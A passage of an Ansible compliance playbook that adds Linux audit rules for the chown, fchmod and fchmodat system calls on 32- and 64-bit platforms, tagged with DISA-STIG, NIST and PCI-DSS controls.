        syscalls:
        - chown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of chown in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_chown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for chown for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of chown in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of chown in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_chown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit fchmod tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchmod
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchmod for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmod in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmod in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchmod
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchmod for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmod in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmod in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchmod
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit fchmodat tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchmodat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchmodat for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmodat
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmodat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmodat
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmodat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchmodat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchmodat for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmodat
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmodat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchmodat
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of fchmodat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
